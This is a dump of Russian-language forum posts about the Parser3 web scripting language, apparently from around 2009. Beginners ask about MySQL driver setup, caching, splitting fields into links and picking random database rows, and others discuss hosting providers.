через [code]<textarea>[/code] я занашу [code]<a href=\"/gd/\">GD</a>[/code]. и все это отправляется в MySQL. потом в не котором месте мы берем из MySQL эту строчку [code]<a href=\"/gd/\">GD</a>[/code] и хочется чтобы она отображалась как ссылка, а не как текст. но она отображается как текст.\
\
как это поправить? если уже есть на подобное ответ. подскажите ключевое слово, а лучше дайте на ответы ссылку.\
\
С Уважением, Юрий."
"69459","и не возникают проблемы такого рода:\
\
http://site/news/\
<img src=\"news.png\"/> => /news/news.png\
\
http://site/news\
<img src=\"news.png\"/> => /news.png\
\
\
а если, вдруг, ну очень не хотите писать абсолютные url-ы, то base вам в руки, в него и подставляйте lang."
"69461","Ну как бы пункты меня берутся парсером из файла... вот до меня пока не доперло какую таблицу делать для выпадающего меню... выпадающее будет не у всех пунктов меня..."
"69462","Посечаемость сайта - порядка 300 человек в день\
Периодически Parser теряет соединение с SQL-сервером:\
Can't connect to MySQL server\
\
Как я понимаю, дело в Виртуальном хостинге. Однако, на данный момент нет возможности пользоваться другим. Есть ли какое решение, кроме указания времени ожидания [b]timeout[/b] (я пока поставил значение 30). Например, повторить как-то попытку соединения?"
"69464","например наверняка дерево сайта меняется не часто.\
если используются SQL классы, то включить кеширование не сложно.\
\
однако понятно, что не всё можно скешировать."
"69465","и большую часть информации не скэшировать. Структура сайта небольшая (3 раздела), а вот каталог очень большой + различные варианты выборки/фильтрации товаров."
"69467","... Тут очень хорошо тригеры и хранимые процедуры помогают."
"69469","У меня есть база. В ней таблица. В таблице поле. В этом поле идут несколько слов разделенных запятой. Мне нужно сделать так, чтобы каждое из этих слов бралось отдельно в теги <a href=\"слово\"></a> и чтобы адреса всех ссылок являлись теми самыми словами. Как это возможно сделать? Желательно поподробне, т.к. я начинающий в этом деле. Заранее благодарен. :-)"
"69470","Ну, а далее, разбиваем поле на блоки:\
http://www.parser.ru/docs/lang/stringsplit.htm"
"69471","О, супер. Спасибо. Вот только теперь появилась другая проблемка. :-) Дело в том, что этих слов может быть разное кол-во в одном поле. Может быть одно, а может быть три или четыре и больше. То есть для каждого поля не напишешь $parts.0, $parts.1, $parts.2. Как сделать так чтобы выводилось столько блоков, сколько слов в поле? Спасибо."
"69472","Или как можно сосчитать кол-во этих блоков?"
"69473","Читаем внимательно:\
[quote]v - сформировать таблицу со столбцом, где части исходной строки помещаются вертикально (по-умолчанию).[/quote]\
Т.е. получаем один столбец, количество строк в котором:\
http://www.parser.ru/docs/lang/tablecount.htm"
"69474","А че-то ничего не получаем. :-) Я просто пока еще не особо разобрался со всем этим делом :-)\
\
Если вот так:\
$parts[^desc.split[,;lh]]\
$parts.1\
то все здорово\
Если вот так:\
$parts[^desc.split[,;lv]]\
$parts.1\
то выдает ошибку. мол нету никакой таблицы."
"69475","[quote]вот до меня пока не доперло какую таблицу делать для выпадающего меню...[/quote]\
\
Ту, которую [i][url=\"http://www.parser.ru/forum/?id=69438\"]Сверстать-то я его могу...[/url][/i].\
\
\
Ветка закрыта.\
См. FAQ о том, как задавать вопросы на форуме."
"69476","А вот посчитать получается :-) Только теперь непонятно как же блоки брать?"
"69477","[quote]большую часть информации не скэшировать[/quote]\
\
Так не бывает.\
\
[quote]каталог очень большой + различные варианты выборки/фильтрации товаров[/quote]\
\
Если любую самую сложную выборку делает SQL-запрос, то его легко закэшировать.\
Можно даже страницу целиком закэшировать, если применить, скажем, тэгированный кэш."
"69478","т.к. никогда этим не пользовался и нет опыта.\
Возможно - это как-раз мой вариант. Мне пока хостер предложил попробовать делать повторные запросы к базе, с небольшой паузой в случае ошибки."
"69479","[code]@main[]\
\
$field[one,two,three] ^rem{поле, которое получили из базы}\
\
$table[^field.split[,;][column]]\
\
^table.menu{<a href='$table.column'>$table.column</a>}[, ][/code]\
\
\
Читайте пожалуйста документацию, прежде чем задать вопрос, она достаточна проста."
"69481","взялись сделать электронный магазин и решили до такой степени экономить на хостинге?\
\
увидев первый же exception на online-магазине (который по любому произойдёт, как вы не делайте повторы запросов), большинство посетителей сбегут оттуда и будут полностью правы. да ну нафиг, если произойдёт транзакция по карте, а заказ не попадёт куда надо по возникшим техническим проблеммам.\
\
соломку в коде подкладывают для того, чтобы как-то попробовать разобраться со временно возникшими техническими трудностями, а не для того, чтобы с помощью неё как-то жить с постоянными."
"69482","create\
\
Entity: line 599: parser error : Entity 'nbsp' not defined\
&nbsp;</p>\
\
\
странное поведение скрипта , в xslt шаблоне путь до файла с энтитями прописан\
Файлы в utf\
\
Что делать?"
"69483","Надо переводить entitie в decimal:\
\
[code]<!DOCTYPE xsl:stylesheet [\
	<!ENTITY nbsp \"&#160;\">\
	<!ENTITY laquo \"&#171;\">\
	<!ENTITY raquo \"&#187;\">\
]>[/code]"
"69484","Пока заказчик (знакомый) не может себе позволить что-то посерьезнее.\
Оплата по карте не используеться. Наложенный платеж или оплата наличными курьеру.\
Из-за нестабильности соединений с SQL-сервером глюки возникают, но не часто. Я поначалу думал, что проблема у меня в коде, по соотнеся ошибки с отчетами об отказе сервера пришел к выводу, что дело в сервере и что нужно как-то продумать повторные запросы или кэширование. С последним пока не получаеться, т.к. не придумал еще как кэшировать запросы из каталога.\
В качестве движка использую свою [url=\"http://www.parser.ru/forum/?id=69335\"]CMS .COM[/url]"
"69485","...что заказчик, имеющий возможность создать онлайн-магазин, не может себе позволить 10$/мес на его обслуживание у нормального хостера."
"69486","Я не пердставляю где можно за 10$ или даже за 20$ найти нормальный хостинг.\
На данный момент используеться 1gb.ru. В тарифе Основной. Сейчас он стоит 165р/месяц, а совсем недавно я отдавал за него те самые 10$.\
\
Начальный уровень \"серьезных\" тарифов у них начинаеться с 800р./месяц. Я полгода назад пытался найти альтернативу, но большинство хостеров на вопрос использования Parser у них либо отвечали отказом, либо игнорировали его вообще."
"69487","вот такой код :\
$file[^file::load[text;http://127.0.0.1/$path/$fileName;"
"69488","Спасибо! Теперь все сложилось в целиковую картинку"
"69489","А еще лучше использовать вызов perl скрипта который юзает\
одну из массы готовых библотек для PDF\
http://search.cpan.org/search?query=PDF&mode=all"
"69490","Но чем например Караван не угодил с тарифом Стандарт?\
http://caravan.ru/services/virtual/compare/\
\
Или Зенон (Стандартный) - http://www.host.ru/prices/hosting/\
\
И там и там парсер работает на ура. Каких либо больших проблем не замечено, за исключением разве что некоторой техподдержки во втором случае (реально выбешивали пару раз). Тут кто-то еще мастерхоста хвалил - у них тоже есть тариф за 300р/месяц."
"69491","У мастерхоста меня неустроила \"задумчивость\" тех-поддержки:\
уже на этапе вопросов что и как можно использовать у них на хостинге на меня просто забили.\
\
Если на Зеноне тех-поддержка такая-же - то лучше не связываться: у меня хоть нервы и не расшщатанные, но постоянно кормиться пустыми отчетами \"ваш запрос обработан и передан в службу поддержки\" я уже не могу. Чем меня пока и устраивает 1gb.ru, так это именно скоростью и вменяемостью ответов.\
\
Насчет Каравана даже не думал. Как-то забыл про него.\
Если есть опыт работы - поделитесь. Просто с закрытыми глазами менять шило на мыло не хочеться. Тем более, когда идет речь об относительно посещаемом ресурсе, да и к тому-же не своем."
"69492","Теперь посмотрите, что в этих $path и $fileName в момент обращения к файлу.\
И не стоит ли каких хитрых опций загрузки файла, если они там есть (блок кода не приведён полностью)."
"69493","Сам сижу на парсере, раньше хостился с Net.ru - вроде старый провереный хостер, однако, с регионов реально тупит и медленно отдает виртуал, и их система принудительного кеширования и разкеширования меня не устраивала. Много перебрал хостингов с тех времен. Потом поработав на ниве реальных проектов требовательных к нагрузке - остановился на hqhost.net - саппорт 24/365 - админы по-моему все украинские - но ребята очень грамотные, работают давно и с серьезными клиентами. Они по сути являются оптовыми сервис-дистрибьютерами хостинга из крупного дата-центра Лондона и Манхетенна. Виртуал у них есть за 3.99$ в мес. - вам подойдет на ура. Сабдомены не ограничены, MySQL база есть. Единственное что вам parser собранный под Debian надо - у них на виртуале свое очень аскетично отточенное детище - они его холят и лелеят - и оно работает. У меня там на парсере крутятся проекты - uptime вообще кажется безперебойный - не помню ни одного сбоя.\
\
Это не реклама, хотя за такой пиар я бы реф-ссылку бы поставил :)  Но просто знаю этих ребят с хорошей стороны - не подводили. \
3FN.net по идее тоже очень качественный хостер - но реально дороже, поэтому сам не касался не знаю"
"69494","Доброго времени суток. Углубляюсь в программирование и вношу свои изменения в код, чтоб лучше закрепить материал, изученный в уроках.\
В начале второго уроке Мы доработали \"навигацию\", но тот код не обрабатывал \"внутренние папки\" и если их добавлять в sections.cfg\
они так и пойдут списком дальше. Я решил сделать чтоб в меню были подкатегории до вложенности третьего уровня. вот что получилось:\
\
В sections.cfg добавил еще один столбец с номером вложенности.\
1 - корневая\
2 - второй уровень\
3 - третий уровень\
\
Исправил под задачу @navigation_cell[], обозвал новый как @new_navigation_cell[]\
[code]\
@new_navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
<td width=\"$cell_width\" align=\"center\">\
^if($section.urov eq 1){\
	^^proverka[]\
<br />\
}{\
	  <ul><li>\
	  ^if($section.urov eq 2){\
	  	^proverka[]\
	  	</li></ul>\
	  }{\
	  	<ul><li>\
	     ^if($section.urov eq 3){\
	  	^proverka[]\
	  	</li></ul>\
	  }{\
	  	</li></ul>\
	  }\
	  	</li></ul>\
	}\
	</li></ul>\
}\
</td>[/code]\
\
Проверку на \"ставить ссылку или нет\" назвал так: @proverka[]\
\
[code]\
@proverka[]\
^if($sections.uri eq $request:uri){\
     <nobr>$sections.name</nobr>\
}{\
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
}[/code]\
\
\
Получился не совсем желаемый результат, смотрим тут: http://myparser.minibar-art.ru/\
\
Пожалуйста, подскажите где я ошибся, двигаюсь в правильном направлении?\
\
У меня в голове еще один вариант верится: \
создавать auto.p; sections.cfg в папках с ветвлением\
и так же как и во втором уроке сделать меню, только назвать по другому и вместо ячеек - списки, а потом вписать его исполнение в auto.p корня сайта. ведь работать будет?\
 \
И еще вопрос, какие еще могут быть варианты с ветвлением?"
"69495","Я сужу не по логам, а по отчетам, которые мне приходят на почту при любой ошибке.\
\
Раньше ошибки возникали раз в месяц - сейчас по несколько раз в неделю.\
\
До этого пользовался другими хостингами и там так-же, постепенно с повышением нагрузки падала стабильность."
"69496","Пользуюсь обоими:\
http://masterhost.ru/service/hosting/virtual/main/unix/effective/ - 300 руб/мес (+ещё есть скидки по оплате)(10 доменов, 5 БД) никаких проблем с parser+mysql никогда не возникало, впрочем как и с другим.\
http://hosting.nic.ru/tariff301.shtml - 407.50 руб/мес при оплате за год. (12 доменов, пользователей и БД MySQL без ограничений!). На этой неделе год будет, как пользуюсь.\
Я не знаю по какому курсу вы считали, но у меня получается 8,95$ и 12,16$.\
На счёт тех.поддержки, я просто звонил по телефону и решал свои вопросы. Не могу знать как они отвечают на письма, но повторю никаких проблем на parser+mysql не было.\
Если интересно могу вам на нике отдать 12й домен на пробу :-)"
"69497","Если уж говорить о файлах, то лучше сразу переходить на XML.\
Я первый свой проект начал делать на основе cfg-файла, но когда потребовались дополнительные поля для описания разделов + структура стала разветвленной пришлось от них отказаться в пользу XML.\
\
Однако, использовать для хранения структуры сайта текстовые файлы не удобно, в плане управления ими. Лучше сразу переходить к SQL. В уроках все есть."
"69498","Добрый день, хочу познакомится с parser 2. но никак не могу понять с чего даже начать, смотрю примеры в принципе все понятно как сделано, но не понятно как сохранять с каким расширением? если я нисала на html в блакноте и потом сохраняла просто как .html и все работало, то здесь под каким разширением нужно сохранять??? еще раз извините на наверное тупой вопрос :-)"
"69499","А ещё называйте методы нормальным английским языком!"
"69500","вот весь код auto.p\
@useASP[fileName][path;file]\
#вычисляем путь, откуда загружен текущий документ\
$path[$request:uri]\
$path[^path.match[/.*?^$][]{}]\
#запрашиваем по HTTP внешний документ с нашего же сервера\
$file[^file::load[text;http://127.0.0.1/$path/$fileName;\
#передаём все наши параметры методом GET (нельзя файлы)\
#если нас вызвали методом POST, и эти параметры будут переданы\
	$.form[$form:fields]\
#можно доделать и cookies (самостоятельно), \
#см. http://www.parser.ru/docs/lang/fileload.htm\
]]\
#выдаём полученный текст, untaint=выражаем доверие полученному html коду\
^untaint{$file.text}\
\
\
@PosterList[]\
	$ver[^file:list[/img/promo_soviet/;\\.jpg^$]]\
	$ver_num[^eval(^math:random($ver) + 1)]\
	/img/promo_soviet/${ver_num}.jpg\
@PosterList2[]\
	$hor[^file:list[/img/promo_soviet/1/;\\.jpg^$]]\
	$hor_num[^eval(^math:random($hor) + 1)]\
	/img/promo_soviet/1/${hor_num}.jpg\
\
что искать на что он ругаеться?"
"69502","А как работает parser2 ??? как с помощью него посмотреть результат выполнения? как его запустить?"
"69503","после добавления парсера как обработчика html страниц при загрузке сайта выдаеться вот что You are not authorized to view this page\
You do not have permission to view this directory or page due to the access control list (ACL) that is configured for this resource on the Web server.\
\
Please try the following:\
\
    * Contact the Web site administrator if you believe you should be able to view this directory or page.\
    * Click the Refresh button to try again with different credentials.\
\
HTTP Error 401.3 - Unauthorized: Access is denied due to an ACL set on the requested resource.\
Internet Information Services (IIS)\
\
IUSR_compname даны права на запись и чтение wwwroot\
отключаю парсер и сайт грузиться но не робят некоторые страницы которые парсер должен обрабатывать так как он не включен :( \
куда копать?"
"69504","Добрый день. У меня появилась необходимость выводить из базы случайное поле или два или даже больше за последние, скажем, пять дней. То есть сортировка по дате а потом вывод из всех полученных значений только пять причем всегда разных. Кто поможет?"
"69505","Вам нужно поля выводить или строки?\
Зачем нужна сортировка по дате (может, вы имели ввиду WHERE)?\
Насколько критично требование \"всегда разных\"? То есть не должно быть повторов в двух рефрешах страницы?"
"69506","Нет при рефрешах могут быть повторы. Это неизбежно. Имею ввиду чтобы за раз если мне нужно вывести 2 и более строк* то они не должны совпасть. С датой - да, where."
"69515","от того что я назову по другому, смысл не поменяется,а вот то что он мне не выводит названия папок,в виде ссылок - это не понятно.\
Именно по этому я полез на форум.\
Я так понимаю Вы еще чего-то не дописали, так как начинается \"А еще...\" ?"
"69516","Огромный плюс приведённого решения в том, что оно 1) работает, 2) простое.\
\
А минус и \"жёсткость\" вот в чём:\
1) фильтруется таблица по условию в WHERE\
2) всё, что осталось после фильтрации сортируется БЕЗ ИНДЕКСА ПО RAND() (filesort, если вам это что-то скажет)\
3) выбираются первые две записи сверху и результат вам возвращается.\
\
Вот эта вот сортировка в шаге 2) и есть жесть."
"69518","Дело в том, что я не могу подключить БД как в уроках, что-то у меня ошибку выдает, я все ни как не разберусь.\
Все как в уроке... http://myparser.minibar-art.ru/admin/\
\
лог:\
[Tue Apr 14 17:27:14 2009] [16901] /admin/: /home/minibara/myparser/admin/index.html(28:5): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>] [uri=/admin/, method=POST, cl=60]\
\
libparser3mysql.so; libmysqlclient.so - скопированы в дерикторию cgi-bin\\lib\
так же использовал для поиска решения форум, но пока не получается...\
\
пока не разберусь с одним, с другое не лезу, а то такие дебри потом будут, не пройду... Изучаю с нуля, первый язык который хочу изучить на \"совесть\""
"69519","[code]\
SELECT name FROM my_table JOIN (\
SELECT CEIL(RAND() * (\
SELECT MAX(id) FROM my_table\
)) AS randomID\
) AS random_table ON random_table.randomID=my_table.ID\
[/code]\
\
Подробнее: http://jan.kneschke.de/projects/mysql/order-by-rand\
По-русски: http://ya-krevetko.com/archives/4"
"69521","1) where dt >=2009-04-09 (получился объект типа table, например $myTable)\
2) $counter(0) $myHash[^myTable.hash{$counter^counter.inc[]}]\
3) генерируйте n случайных чисел\
4) эти n случайных чисел - ключи хэша $myHash с нужными вам строками\
\
П.С. чтобы не повторялись записи после рефреша страницы, можно текущие n случайных номеров запоминать в cookie и исключать их при генерации"
"69523","Сам проверил (!)\
Выборка из 578082 строк\
\
1 вариант с ORDER BY RAND() = 2.7 сек.\
\
2 Ваш вариант (не знаю как и назвать его... через самоджойн чтоль :) )  = 0.1сек."
"69524","Все здорово конечно, правда я настолько глуп, что ничего не понял. А можно готовый примерчик какой-нибудь? :-)"
"69525","А! Все. Разобрадся. Всем большое спасибо :-)"
"69526","[url=\"http://www.denwer.ru/\"]http://www.denwer.ru/[/url]\
или\
Apache Swissknife"
"69527","Если мускуль < 4.1 можно выкрутиться 2 запросами (все равно быстрее). \
\
[Подсмотрено у Миши - тема уже поднималась здесь]\
\
Первый узнает количество записей. \
\
Второй достает с $.limit(1) и $.offset(^math:random(количество записей)). \
\
Тут также подразумевается, что база не \"дырявая\". Зато вариант переносимый без проблем.\
\
А про ORDER BY RAND() надо забыть как о страшном сне!"
"69528","Спасибо, учту на будущее"
"69529","Спасибо, но я пытаюсь освоить работу на удаленном сервере, разобраться с подключениями,типами,видами... \
поэтому и разбираюсь.\
А по поводу XML, можете пример привести, или в 6ом уроке подойдет под текущую задачу?"
"69530","Тоже бы хотел познакомится, если не трудно киньте пожалуйста ссылку."
"69532","Данный финт, подразумевает обычную инкрементацию Id. \
\
auto_increment = n+1\
\
Имхо, если нумерация происходит по какой-то неведомой формуле - это уже, как минимум, не хорошо.\
\
В любом случае, всегда есть возможность добавить поле, по которому потом выбирать.\
\
Если вы про \"пробелы\" (дырки) в базе - то в статье (http://jan.kneschke.de/projects/mysql/order-by-rand) описан способ как это учесть."
"69533","т.к. там не обращаемся к ID, и делаем offset.\
однако тут нужно 2 случайный записи, соотв. получится 3 запроса."
"69534","Многие почему-то забывают, что в последовательности идентификаторов могут быть пробелы, а ещё идентификаторы могут быть нечисловыми.\
\
Если после WHERE (с индексом, разумеется) под RAND() падают не тысячи строк — нет ничего страшного.\
Это самый простой и удобный вариант."
"69535","Ага, я что-то ступил.\
А когда нужна одна запись -- вообще хороший вариант."
"69536","[quote]\
Многие почему-то забывают, что в последовательности идентификаторов могут быть пробелы.\
[/quote]\
\
Там есть вариант где это учитывается.\
\
[quote]\
А ещё идентификаторы могут быть не числовыми.\
[/quote]\
\
UUID? Ну да, само собой не прокатит.\
\
[quote]\
Если после WHERE (с индексом, разумеется) под RAND() падают не тысячи строк — нет ничего страшного.\
Это самый простой и удобный вариант.\
[/quote]\
\
Согласен, но если спустя время их станет столько? Впрочем, это уже дело вкуса и конкретной задачи. Просто в некоторых случаях ORDER BY RAND() может стать бомбой замедленного действия. У меня так было, например=)"
"69537","[quote]Многие почему-то забывают, что в последовательности идентификаторов могут быть пробелы.\
\
Там есть вариант где это учитывается.[/quote]\
\
В несколько запросов.\
С жёсткой привязкой к структуре таблицы.\
\
[quote]А ещё идентификаторы могут быть не числовыми.\
\
UUID? Ну да, само собой не прокатит.[/quote]\
\
Не только.\
Любые «строки».\
Составные ключи, опять же.\
\
[quote]Если после WHERE (с индексом, разумеется) под RAND() падают не тысячи строк — нет ничего страшного.\
Это самый простой и удобный вариант.\
\
Согласен, но если спустя время их станет столько?[/quote]\
\
Вот когда станет, тогда и нужно будет оптимизировать, а не заранее.\
\
К небольшим и средним таблицам, при случайной выборке, практически всегда применяется критерий, потому реально упорядочивается не много данных.\
К большим — совсем другой подход: периодическая подготовка случайных данных, отбор в отдельную таблицу, жёсткая оптимизация в несколько запросов и прочее.\
\
А пляски с тремя запросами для доставания случайной заметки из своего блога такой же идиотизм, как ORDER BY RAND() LIMIT 1 без отбора на таблице с миллионом строк."
"69538","chmod 0777 на директорию с сайтом, и проверить. Если работает, то разобраться с правами, нет. Так вернуть на родину."
"69539","Стив Маконнел, Совершенный код, второе издание.\
\
Очень рекомендую как информацию к размышлению.\
\
Успехов вам!"
"69540","Ура! разобрался с 3им уроком по работе с БД... теперь отправляет!\
Всего-то надо было указать путь к libmysqlclient.so в директории cgi-bin/auto.p\
\
\"$sqldriversdir/libmysqlclient.so\" вместо \"libmysqlclient.so\"\
и разместить этот файл в директории /cgi-bin/lib\
\
А я разместить разместил, а вот указать путь не указал...\
\
Едем дальше :)"
"69541","Книгу скачал, почитаю на досуге"
"69543","Долго ковырялся с аплоадом файа на сервер. Причем глючил только ХРОМ, другие браузеры отрабатывали корректно. Не проходила проверка [code]^if(def $form:fil_name)[/code]\
Оказалось, что в HTML было написано (причем как в доках)\
[code]<input name=\"fil_name\" type=\"file\" />[/code]\
а если написать \
[code]<input name=\"fil_name\" id=\"fil_name\" type=\"file\" />[/code]\
то есть указать \
id=\"fil_name\"\
\
то все работает. \
Что-то я не так делаю или это браузер меня удивляет?"
"69544","[quote]\
Вот когда станет, тогда и нужно будет оптимизировать, а не заранее.\
[/quote]\
\
Важно отличать раннюю оптимизацию от вполне возможных условий использования.\
\
[quote]\
А пляски с тремя запросами для доставания случайной заметки из своего блога такой же идиотизм...\
[/quote]\
\
У меня, например, есть информационные блоги с > 20 000 постов.\
Все относительно."
"69551","Простой поле-файл [code]<input type=\"file\" name=\"image\">[/code] нормально работает и в Chrome.\
\
Enctype у формы какой?"
"69552","попробуйте вот так\
\
^if(in \"/админка/\"  || in \"/корзина/\" ){\
^top[] ^body[] ^footer[]\
}{\
$ch[^math:md5[$request:uri]]\
#кеширование страницы на сутки, если не на странице оформления заказа и не в админке\
^cache[/cache/${ch}.ch]($date_now[^date::now[]] + 1){\
^top[] ^body[] ^footer[]\
}"
"69555","Тоже сталкивался с такой траблой"
"69556","Никаких:\
^top[] ^body[] ^footer[]\
попросту не существует. Все схема немного сложнее.\
\
Да, я соглашусь, что можно закешировать каждую отдельно взятую страницу-запрос и при повторном запросе отдавать кэш. Я пробовал это делать, однако, я с учетом большой базы товаров и частого ее пополнения результатов ожидаемых не получил."
"69557","С караваном опыт такой - взял услугу хостинга, один раз установил, настроил и забыл.\
\
В принципе с Зеноном тоже самое, но изредка бывали проблемы, приходилось общаться с суппортом, который меня пару раз выводил из себя. Но возможно это я не всегда умею нормально разговаривать и у вас будет лучше.\
\
С парсером нет проблем ни так ни там."
"69560","Приветствую.\
Видел авторизацию от Misha, но она слишком объемная для моей задачи.\
\
Что требуется мне: будет всего один пользователь (админ), не будет функции восстановления пароля.\
Нужно просто вбить логин и пароль и попасть в раздел добавления и администрирования новостей.\
Но я понять не могу как зарегать пользователя (админа)? В БД у меня есть таблица. В ней 4 поля: id, email, name, password.\
\
Не совсем представляю, как туда вбить пароль, чтобы форма логина его восприняла. Или это делается как-то по другому?\
Спасибо."
"69562","А ежели средствами БД делать, а не через .htaccess?"
"69563","О, пасибо :) ."
"69564","Городить огород, когда админ один и спецраздел один?\
\
Но если очень хочется, то [url=\"http://www.egoroff.spb.ru/portfolio/24.html\"]можно[/url]."
"69565","Ок. Ну а в плане безопасности какой метод лучше?"
"69566","Так я, вроде, один метод предлагаю — стандартную аутентификацию Апача.\
\
Если задача «впускать/не впускать человека в один раздел» — самое верное и простое решение."
"69568","У меня стоит свой UpTime Bot, который пингует \
мои сайты болтающиеся на вирт.хостинге. Плюс также когда\
возникает ошибка - отсылается письмо. На HQHOST у меня всегда\
все работает. Я них просто и выделенные сервера заказывал, UpTime\
тоже всегда был безупречный. Еще бы - моя железка стояла в крупном дата центре НьюЙорка, а канал был зацеплен на 3-4 одноврменно крупных магистральных провайдера, в случае отпада одного, автоматически переключается на другого. \
Так что велкам по ссылочке, тогда помогу в настройках: \
http://hqhost.net/?pid=19425"
"69569","вот такая вот ошибка :\
CDBException: Data type mismatch in criteria expression.\
c:/inetpub/wwwroot/news/adding.html(44:31)\
sql	c:/inetpub/wwwroot/news/adding.html(44:31)\
menu	c:/inetpub/wwwroot/news/adding.html(35:24)\
connect	c:/inetpub/wwwroot/news/adding.html(32:10)\
if	c:/inetpub/wwwroot/news/adding.html(31:2)\
\
а вот сам код страницы : \
$now[^date::now[]] \
<center> \
<form method=\"POST\"> \
<h2><a href=\"./addingsat.html\">на субботу</a></h2>\
<p> \
Дата добавления: <input name=\"date\" value=\"${now.day}.${now.month}.${now.year}\"> \
</p> \
<p> \
Дополнение к дате: <input name=\"datecom\" value=\"+++\"> \
</p> \
<p> \
xxxxx: <input name=\"textcom\" value=\"xxxxxx\"> \
</p> \
\
<p>xxx:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"40\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form>\
</center> \
#начало обработки\
<div align=\"center\"><p>xxx <font color=\"red\">xxx</font>: $form:date</p>\
<hr>\
^if($form:datecom ne \"+++\"){\
<h3>$form:datecom</h3>}\
</div>\
$i[1]\
^if(def $form:date && def $form:body){ \
	^connect[odbc://DSN=xxx^;UID=xxx^;PWD=xxxxx$]{ \
#получаем данные из формы и пилим как надо\
	$parts[^form:body.split[^#0A^#0A;lv]]\
		^parts.menu{\
		$pos[^parts.piece.pos[^#0A]]\
		$header[^parts.piece.left($pos)]\
		$text[^parts.piece.right(^parts.piece.length[]-$pos-1)]\
#доработка данных\
		$pos[^header.pos[.]]\
		$header[^header.right(^header.length[]-$pos-1)]\
#		^header.trim[both; 	]\
#		^text.trim[both; 	]\
      			^void:sql{insert into news \
       			(text1, headershort, headerlong, adddate, datecom, textcom) \
	      		values\
         		('$text', '$header', '$header', '$form:date', '$form:datecom', '$form:textcom')\
			}  \
		^if($i eq 10){$i[9.5]}\
		<p><font color=\"red\">$i</font> <strong>$header</strong></p>\
		<p>$text</p>\
		$i[^eval($i+1)]\
		}[<hr>]\
	}\
}\
\
никак не могу понять что за ошибка :( помогите плз"
"69570","Передам информацию товарищу. Есть еще кое-какие вопросы:\
- Какой в настоящий момент тариф там используете и с какими был опыт работы (кроме выделенного сервера)?\
- Есть ли там ImageMagick или возможность его установки?"
"69576","задача, есть две таблицы\
[code]---------\
| users |\
---------\
|Id|name|\
---------\
|01|иван|\
---------\
|02|Оля |\
---------\
|03|Коля|\
---------\
|04|Миша|\
---------\
|05|Саша|\
---------\
|06|Дима|\
---------\
|07|Вова|\
---------\
|08|Таня|\
---------\
 ......\
---------\
|99|Алла|\
---------\
[/code]\
[code]\
##и вторая таблица\
--------------------\
|   user_or_disk   |\
--------------------\
|Id|name_id|disk_id|\
--------------------\
|01| Иван  |  5234 |\
--------------------\
|02| Иван  |  2342 |\
--------------------\
|03| Саша  |  2342 |\
--------------------\
|04| Таня  |  9411 |\
--------------------\
|05| Дима  |  2342 |\
--------------------\
|07| Дима  |  5323 |\
--------------------\
|08| Дима  |  6542 |\
--------------------\
 .................\
--------------------\
|99| Миша  |  5536 |\
--------------------\
[/code]\
\
как видите таблица имен без повторений там не может быть два имени.\
а вторая таблица, там могут быть совпадения\
например у ивана и Саши могут быть одинаковые disk_id номера и наоборот, у одного номера disk_id одинаковые владельцы.\
\
как заменить имена name_id таблицы user_or_disk на Id из тыблицы users списка людей ?\
что бы было так:\
\
[code]##вторая таблица\
--------------------\
|   user_or_disk   |\
--------------------\
|Id|name_id|disk_id|\
--------------------\
|01|   01  |  5234 |\
--------------------\
|02|   01  |  2342 |\
--------------------\
|03|   05  |  2342 |\
--------------------\
|04|   08  |  9411 |\
--------------------\
|05|   06  |  2342 |\
--------------------\
|07|   06  |  5323 |\
--------------------\
|08|   06  |  6542 |\
--------------------\
 .................\
--------------------\
|99|   04  |  5536 |\
--------------------\
[/code]\
\
попробвал сделать средствами SQL\
через запрос на обновление данных..\
[code]update user_or_disk set name_id = (select Id from users where name=name_id)[/code]\
\
данный способ работает, но обновляет не все данные... часть затирает в null почему не могу понять., есть другие способы как это исправить ?"
"69577","Здравствуйте!\
\
Я начинающий, прошу прощения за наивность вопроса. Есть три переменные, значениями которых являются однозначные, для простоты примера, числа.\
\
Задача: максимально простым способом получить четвертую переменную, значением которой будет трехзначное число, составленное из трех поставленных последовательно однозначных чисел.\
\
[b]То есть, из переменных $a(1), $b(2), $c(3) получить переменную $x, равную числу 123.\
[/b]\
\
Неработающие варианты:\
\
\
[code]$x[$a$b$c]\
$x\
# Получаем пустоту.\
\
$x[$a $b $c]\
$x\
# Получаем строку с пробелами, не годную для дальнейших действий.\
\
$x['$a''$b''$c']\
$x\
# Получаем строку с апострофами. А при использовании скобок - со скобками.[/code]"
"69580","почему то когда записей в таблицах больше 10000 то обновляються не все записи.. поряддка 1000 записей теряеться. а именно поле name_id которое должно изменить имя  на номер просто  проставляеться null\
\
может кто что подскажет ?.\
если надо могу выслать по почте таблицы с этими записями,  для проверки"
"69583","Enctype у формы как в доках - \
[code]<form method=\"POST\" name=\"add_org\" enctype=\"multipart/form-data\" >[/code]\
\
Впрочем неважно, это видимо, баг конкретно моей версии хрома. Думал может что изменилось в этом мире)"
"69584","вопрос к использующим sqlite.\
бывает ли у вас периодически при обращении к базе ошибка Database is locked ?\
\
Судя по доке ошибка возникает при таймауте обращения к базе на чтение во время записи в неё с другого подключения.\
\
У меня периодически бывает такое. Linux 2.6.x, Apache 1.3.x, Parser 3.3.0 собранный как mod_parser3.\
\
Может добавить в драйвер обработчик ошибок, повторяющий попытку через N миллисекунд при этой самой ошибке database is locked?? Или всё же это в моей системе какой-то другой косяк (тормозной SSD например)..."
"69585","в файле _тест.хтмл в строке (5) явно не хватает скобочек в смайле... штук 15-20 будет вполне оправданно [b]8)[/b]\
а вообще парсер - вещь. и терпение в ответах на форуме - просто пример толерантности. спасибо вам!"
"69587","Сам наступил на эти грабли пару лет спустя ))\
ларчик просто открывался\
aptitude install libc6-i386"
"69588","ну что никто ничем не может помочь что ли ???"
"69589","можете сохранить в фалик чего оно пытается писать в базу? и тогда станет понятнее ;)"
"69593","Однако, реализую я его не скоро, т.к. нужно хорошо продумать процесс, а полностью переключиться с текущих проектов не получаеться.\
\
Видимо, придеться оставить все до лучших времен. Я уже как-то предпренимал попытки кэширования XML-деревьев но идея оказалась недоработанной и пришлось на нее пока забить.\
\
Кэшировать SQL-запросы у меня как-то получаеться плохо:\
[code]^cache[/data/cache/test1](5){\
	...SQL...\
}[/code]\
